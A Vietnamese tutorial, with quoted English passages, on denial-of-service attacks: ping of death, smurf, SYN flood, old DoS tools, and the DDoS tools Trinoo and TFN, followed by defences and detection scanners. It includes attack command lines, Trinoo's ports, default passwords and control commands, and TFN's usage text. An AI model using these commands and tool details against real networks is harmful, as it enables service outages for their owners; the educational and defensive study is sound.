Ping of death là một cuộc tấn công tùe chối dịch vụ, kẻ tấn công sử dụng nó theo thuật toán gửi 1 IP packet lớn hơn 65,536 bytes qua giao thức IP (IP protocol). Tính năng của TCP/IP là sự tan rã. Nó cho phép một gói IP đơn làm vỡ ra từng mảnh. Năm 1996, vài kẻ tấn công đã nhận thấy việc gửi các gói IP > 65536 bytes. Khi một gói ICMP lớn được gửi đi bởi một kẻ phá hoại tới mục tiêu, victim sẽ tiếp nhận ping trong tình trạng bị phân mảnh và bắt đầu tập hợp các gói ấy lại. Tuy vậy, việc tập hợp một số lượng lớn như vậy khiến gây tình trạng tràn bộ đệm. Khiến chúng bị đóng băng,phá huỷ hoặc reboot. Tấn công Ping of death đặc biệt nguy hiểm bởi khi ping attacker cũng nhận được 1 gói tin tương đương với số lượng đã gửi, nhưng cúng sẽ làm “crash” victim. Windows 95 và Windows NT có thể gửi gói tin như vậy một các đơn giản là "ping [target] –l 65500".

Cuối 1997, hầu như các hệ thống đều được cảnh bảo và vá lỗi để ngăn chặn ping of death. Tuy nhiên, một số Web sites vẫn tiếp tục “blok” Internet Control Message Protocol (ICMP) ping messages tại hệ thống tường lửa của họ để ngăn chặn các loại tấn công denial of service. Ping of death còn được biết dưới tên "long ICMP". Một số loại khác giống nó có thể kể đến như : jolt, sPING, ICMP bug, và IceNewk.


Một số các TOOLS khác liệt kê dưới đây, vì nó đều đã cũ nên mình không tiện dịch :


Smurf là phần mềm nguy hiểm, để hiểu rõ nó, các bạn đọc vài giới thiệu sơ lược như sau:

================================================== =============



smurf is a simple yet effective DDoS attack technique that takes advantage of the ICMP

(Internet Control Message Protocol). ICMP is normally used on the internet for error handling

and for passing control messages. One of its capabilities is to contact a host to see if it is "up" by

sending an "echo request" packet. The common "ping" program uses this functionality. smurf is

installed on a computer using a stolen account, and then continuously "pings" one or more

networks of computers using a forged source address. This causes all the computers to respond to

a different computer than actually sent the packet. The forged source address, which is the actual

target of the attack, is then overwhelmed by response traffic. The computer networks that respond

to the forged ("spoofed") packet serve as unwitting accomplices to the attack.

��The "smurf" attack, named after its exploit program, is one in the category of network-level

attacks against hosts. A perpetrator sends a large amount of ICMP echo (ping) traffic at IP

broadcast addresses, all of it having a spoofed source address of a victim. If the routing device

delivering traffic to those broadcast addresses performs the IP broadcast to layer 2 broadcast

function, most hosts on that IP network will take the ICMP echo request and reply to it with an

echo reply each, multiplying the traffic by the number of hosts responding. On a multi-access

broadcast network, there could potentially be hundreds of machines to reply to each packet.

The "smurf" attack's cousin is called "fraggle", which uses UDP echo packets in the same fashion

as the ICMP echo packets; it was a simple re-write of "smurf". There are two parties who are hurt

by this attack... the intermediary (broadcast) devices--let's call them "amplifiers", and the

spoofed address target, or the "victim". The victim is the target of a large amount of traffic that

the amplifiers generate.

Let's look at a scenario to see the nature of this attack. Assume a co-location switched network

with 250 hosts, and that the attacker has a T1. The attacker sends, say, a 234b/s stream of ICMP

echo (ping) packets, with a spoofed source address of the victim, to the broadcast address of the

"bounce site". These ping packets hit the bounce site's broadcast network of 250 hosts; each of

them takes the packet and responds to it, creating 250 ping replies out-bound. If you multiply the

bandwidth, 58.5 Mbps is used outbound from the "bounce site" after the traffic is multiplied. This

is then sent to the victim (the spoofed source of the originating packets). The perpetrators of these

attacks rely on the ability to source spoofed packets to the "amplifiers" in order to generate the

traffic which causes the denial of service.

In the case of the smurf or fraggle attack, each host which supports this behavior on a broadcast

LAN will happily reply with an ICMP or UDP (smurf or fraggle, respectively) echo-reply packet

toward the spoofed source address, the victim. The amount of bandwidth and packets per second

(pps) that can be generated by this attack is quite large. Many hosts cannot process this many

packets per second; many hosts are connected to 10 Mbps Ethernet LANs where more traffic than

wire speed is sent. Therefore, the ability to drop these packets at the network border, or even

before it flows down the ingress pipes, is desired.








Đây có lẽ là kiểu tấn công đáng sợ do tác động của mạng khuếch đại.khi bạn gửi ping request (ICMP ECHO REQUEST)đến một máy tính hoặc một hệ thống mạng, máy tính or hệ thống đó sẽ gửi lại cho bạn ping reply(ICMP ECHO REPLY), dựa vào điều này kẻ tấn công sẽ giả mạo địa chỉ IP nguồn là nạn nhân và gửi các packet đến mạng khuếch đại ,lúc đó mạng khuếch đại sẽ gửi các packet trả lời như thế cho nạn nhân ( vì kể tấn công đã giả mạo địa chỉ IP là nạn nhân )

ping request
-attacker------------------------------------------->mạng khuếch đại-IP spoofing

- victim - <------------------------------------------ - mạng khuếch đại -ping reply

Smurf attack tận dụng directed broadcast và yêu cầu tối thiểu là 3 nhân tố:
- attacker
- victim
- mạng khuếch đại (càng lớn cành tốt)



================================================== =============


[ Gửi các gói SYN-ACK lớn gây lụt hệ thống

Khi hai hệ thống kết nối TCP với nhau,chúng sẽ qua 3 bước:


client 1. ------------ SYN gửi từ client ----------------> sever
client 2. <---- SYN/ACK gửi từ sever ---------------- sever
client 3. ----------------- ACK gửi từ clien ----------------> sever

Sau 3 bước trên kết nối mới được thiệt lập giữa hai hệ thống.Trong hoàn cảnh bình thường ,SYN packet từ một công cụ thể trên hệ thông A đến một cổng cụ thể trên hệ thống B trong tình trang LISTEN.Vào thời điểm này kết nối trên hệ thông B ở tình trạng SYN_RECV. Vào giai đoạn này hệ thống B sẽ tìm cách gửi packet SYN/ACK về cho hệ thống A. Nếu mọi sự ổn thỏa hệ thông A sẽ gửi trả packet ACK,và kết nối truyển sang tình trạng ESTABLISHED.

Dù có nhiêu lúc cơ chế này chẳng có vấn đề gì ,nhưng trong hệ thống có những chỗ yếu cỗ hữu để kẻ tân công có thể lơi dụng để DOS .Vấn đề là đa số hệ thông phân phối số lượng tài nguyên định khi thiết lập kết nối tiềm tàng hoặc kết nối chưa được thiết lập hẳn ( SYN_RECV).Tuy rằng 1 hệ thống chấp nhân hàng trăm kết nối vào một cổng cụ thể ( ví dụ như cổng 80 ) nhưng chỉ lấy một chục yêu cầu kết nối là hết sạch tài nguyên phân phối cho thiết lập kết nối. Đây chính là điểm mà kẻ tấn công sẽ lợi dụng để vô hiệu hóa hệ thống. Attacker (hệ thống A ) sẽ gửi SYN packet đến Victim ( hệ thống B) và giả mạo địa chỉ IP của hệ thống C ( hệ thống C này không tồn tại trên thực tế nha) Lúc đó hệ thống B sẽ sử lí như thế nào ? hệ thống B sẽ gửi packet SYN/ACK đến hệ thống C. Giả sử rằng hệ thống C tồn tại ,nó sẽ gửi packet RST cho hệ thống B (vì nó không khởi đông kết nối).Nhưng chăng đời nào ATTACKER giả mạo IP của một hệ thông tồn tại ,chính vì thế mà hệ thống B sẽ chẳng bao giờ nhận được packet RST từ hệ thông C.Và lúc đó hệ thống B sẽ đặt kết nối này vào hàng đợi ( SYN_RECV).Do hàng đợi kết nối thường rất nhỏ attacker chỉ cần gửi vài packet SYN ( sau 10 giây thì có thể vô hiệu hóa hoàn toàn một cổng ).

======

Muốn biết mình có bị tấn công SYN flood không ban có thể dùng lênh :
Netstat -a
nếu thấy nhiều kết nối trong tình trạng SYN_RECV thì có nghĩa bạn đang bi tấn công.
Một số giải pháp :
- Tăng kích thước hàng đợi kết nối
-Giảm khoảng thời gian thiết lập kết nối
-tránh né tấn công syn flood bằng phần mềm
-IDS mạng<<< Reference : Ratholy@yahoo.co.uk]

======




[Gửi các gói OutOfBand qua cổng 139 – WinNuke còn gọi là “blue bomb” – bomb xanh hoặc bomb “buồn” …]


[Là một dạng của Ping Of Death, gửi một gói tin bị phân mảnh lớn tới hệ thống Win 2000 hoặc NT4 sử dụng qua lệnh jolt2 [IP bịp] -p 80 [IP victim], để khi victim nhận đc. sẽ bị lừa trả lại các gói ấy cho [IP bịp] kia …]


[Thông qua việc gửi các gói giao thức TCP, khiến crash hệ thống - ///error code: STOP 0x00000041 (0x00001000, 0x00001279, 0x000042A, 0x00000001) MUST_SUCCEED_POOL_EMPTY ///]


[Khiến hệ thống chạy hết công suất memory]


[Chạy 8 cuộc tấn công từ chối dịch vụ khác nhau là:

• Jolt bởi Jeff W. Roberson (sửa chữa bởi Mixter thêm tính năng overdrop)

• Land bởi m3lt

• Winnuke bởi _eci

• Nestea bởi humble và ttol - Nestea thâm nhập "off by one IP header" bug trong gói tin Linux IP bị phân mảnh. Nestea gây “crash” <= Linux 2.0.33 và vài bản Windows.

• Syndrop bởi PineKoan - Syndrop là sự hỗn hợp của teardrop và TCP SYN flooding.

• Teardrop bởi route|daemon9

• Bonk bởi route|daemon9 & klepto

• NewTear bởi route|daemon9 - NewTear là biến thể khác của teardrop.c … ]

IV. DDoS Tools:

a. Giới thiệu chung:


• Trinoo

o Gói UDP flood

o Không có address giả mạo

o Some bugs, nhưng điều khiển được đầy đủ tính năng

• TFN

o Some bugs, các tính năng điều khiển hạn chế

o Gói UDP flood ("trinoo emulation")

o Gói TCP SYN flood

o ICMP Echo flood

o Smurf

o Chọn ngẫu nhiên các IP address 32 bits ,hoặc 8 bits


• TFN2K


o Gần giống TFN, nhưng có thể ngẫu nhiên sử dụng tất cả vào 1 lúc

o Mã hoá hệ thống DDoS

o Điều khiển lưu lượng sử dụng UDP/TCP/ICMP

o Các nguồn address giả mạo cũng như TFN

• Stacheldraht/StacheldrahtV4



o Có bugs, nhưng điều khiển được đầy đủ tính năng

o Gần giống TFN .

o Các nguồn address giả mạo cũng như TFN/TFN2K

• Stacheldraht v2.666

o Có bugs

o Tấn công giống Stacheldraht

o Thêm TCP ACK flood

o Thêm TCP NUL (no flags) flood attack

o Thêm Smurf attack với bộ khuyếch đại 16,702.

o Các nguồn address giả mạo cũng như TFN/TFN2K



• Shaft

o Có bugs, nhưng điều khiển được đầy đủ tính năng

o Thêm phần thống kê

o UDP flood attack

o TCP SYN flood attack

o ICMP flood attack

o Chọn ngẫu nhiên 3 attacks

• Mstream

o “Many” bugs, các tính năng điều khiển hạn chế

o TCP ACK flood (rất hiệu quả)

o Ngẫu nhiên 32 bits IP address




Các cuộc tấn công DDoS đều đi theo trình tự:
[ Figure 1]

Daemon là các trình hoạt động kín (thường trong hệ thống UNIX), thực hiện các nhiệm vụ cần thiết ( như tiếp nhận các gói mail từ server hay gửi mail đi) mà người sử dụng hầu như không ý thức được nó.

b. Tools:




[ Là công cụ đầu tiên được biết đến đầu tiên, làm việc theo cách điều khiển từ xa, Attacker( dùng trương trình ) sẽ gọi đến chương trình Master và nó chỉ dẫn cho Daemon (đã giải thích ở trên) đồng loạt tấn công Victim.

Qua [Figure1] ta có thể giải thích ví dụ như sau trên Trin00 :

Attacker to Master(s): Port 27665/tcp
Master to daemon(s): Port 27444/udp
Daemon to Master(s): Port 31335/udp




-Việc Điều khiển từ xa Trinoo master thông qua công 27665/TCP .Sau khi kết nối attacker phải nhập vào password mặc định ("betaalmostdone").

-Liên lạc từ Trinoo Master đến Daemon thông qua công 27444/UDP
Command lines : arg1 password arg2
password mặc định sẽ là: "gOrave"
-Liên lạc giữa Daemon và Master thông qua cổng 31355/UDP
-Khi Daemon khởi động, trước tiên nó sẽ gửi "*HELLO*" tới cho Master,trong khi trờ sự điều khiển cua Master. (packet captured using "sniffit") -> Điều khiển daemons flood UDP.

Password mặc định giữa master và broadcast daemon là "l44adsl".

Dưới đây là 6 gửi đến master:

- - mtimer:

Chỉnh thời gian tấn công từ chối dịch vụ mục tiêu. Master gửi lệnh "bbb" tới broadcast. Như sau: "bbb l44adsl 300". (giá trị từ 1-> 1999 giây)

- - dos:

Tấn công 1 địa chỉ IP xác định. Như sau "aaa l44adsl 127.0.0.1"

- - mdie:

Vô hiệu hoá broadcasts nếu sai password. Như sau: "d1e l44adsl".

- - mping:

Gửi ping tới broadcasts. Master gửi lệnh "png" tới broadcast, và broadcast

Gửi trở lại gói "PONG" tới UDP port 31335 của master. Như sau: "png l44 adsl".

- - mdos:

Send nhiều lênh tấn công từ chối dịch vụ. Master gửi lệnh "xyz" tới broadcast. Như sau :"xyz l44adsl 123:10.1.1.1:10.1.1.2:10.1.1.3:".

- - msize:

Đặt kích thước đệm cho những gói tin được gửi đi trong thời gian tấn công từ chối dịch vụ trên mục tiêu. Như sau: "rsz l44adsl 300".

====

Lệnh trên daemons:

aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-->1999 s .
bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn cho các cuộc tấn công DOS .
Shi pass--------------------------------------------------------Gửi chuỗi “*HELLO*” tới dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP.
png pass-------------------------------------------------------Send chuỗi “Pong” tớI Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP.
die pass--------------------------------------------------------Shutdown Trinoo.
rsz N------------------------------------------------------------Là kích thước của bộ đệm được dùng để tấn công , nó được tính bằng byte .
xyz pass 123:ip1:ip3----------------------------------------tấn công DOS nhiều mục tiêu cùng lúc .

<<Tham khảo>>

=====


Là một dạng của Trin00. Hoạt động giống theo [fig. 1]

-Điều khiển và thức thi trương trình của TFN đều dựa vào Command Line.
-Không đòi hỏi phải có password khi chạy client, dù phải cần thiết để lấy "IPLIST".
-Liên lạc từ TFN clien đến Daemon thông qua các packet ICMP_ECHO Reply

Cả client và daemon đều phải chạy trên root, và đều mở gói AF_INET trong chế độ

SOCK_RAW
-Khi chạy trương trình sẽ hiện bảng help cua TFN như sau :

tribe flood network (c) 1999 by Mixter

usage: ./tfn [ip] [port]
contains a list of numerical hosts that are ready to flood
-1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by @ if more than one
[port] must be given for a syn flood, 0 = RANDOM

================================================== =======

2 tools DDoS trên đều là cơ bản , trong bản Ethical Haking còn giới thiệu thêm

về TFN2K và Stacheldraht/StacheldrahtV4, tuy vậy đều không còn cần thiết, bản gốc không giới thiệu gì thêm về shaft và mstream.
----------------



V. Giải pháp phòng chống:


a. Thường xuyên cập nhật các bản vá lỗi và update hệ thống vd: update và bảo dưỡng bộ BIND trên DNS servers.

b. Triển khai thật cẩn thận những dịch vụ hệ thống mạng cần thiết.

c. Tìm, tách ra các hệ thống xâm nhập.

d. Tường lửa

e. Chống virus

f. Chính sách sử dụng, quản lý password.

g. Sử dụng các trình bảo mật để bảo vệ các tài liệu, tập tin quan trọng

h. Chú ý tới “Top 20” vulnerability và đánh giá các nguy cơ về hệ thống bảo mật.

i. Thường xuyên back-up

j. Nếu hệ thống bảo mật bằng các liên kết lỏng lẻo, cố gắng bảo vệ các máy từ xa bằng các trình tuờng lửa hoặc personal firewall/intrusion detection software.




IDS :


Sử dụng các trình Scan :


a. Find_DDoS

Phát hiện các trình tấn công từ chối dịch vụ sau:

* mstream master

* mstream server

* stacheldraht client

* stacheldraht daemon

* stacheldraht master

* tfn-rush client

* tfn client

* tfn daemon

* tfn2k client

* tfn2k daemon

* trinoo daemon

* trinoo master

Command như sau :

./find_ddos [-g grabdir] [-l logfile] [-p] [-v] [-V] [-x exclude1] [scandir]



b. SARA : Security Auditor's Research Assistant

primary_targets(s) can specify a:

host (e.g., www.microsoft.com),

range (e.g., 192.168.0.12-192.168.0.223)

subnet (e.g., 192.168.0.0/23)



Các trình còn lại, các bạn có thể tham khảo ở các đường link bên trên.









VI. Tổng kết:




Tấn công từ chối dịch vụ là phương pháp thường được sử dụng.

DDoS sử dụng nhiều các hệ thống máy (bị ma nhập – tức là attacker đã có thể điều khiển), là một phương pháp thường được sử dụng.

Các tools khác nhau trên thường dùng cho các hacker sử dụng vào mục đích xấu – tấn công từ chối dịch vụ có mục đích xấu.

Chống lại tấn công từ chối dịch vụ là khá khó khăn.

Nhiều chương trình quét khác nhau để chống lại tấn công từ chối dịch vụ đã đựợc dựng lên để viện trợ và bịt kín các lỗ hổng …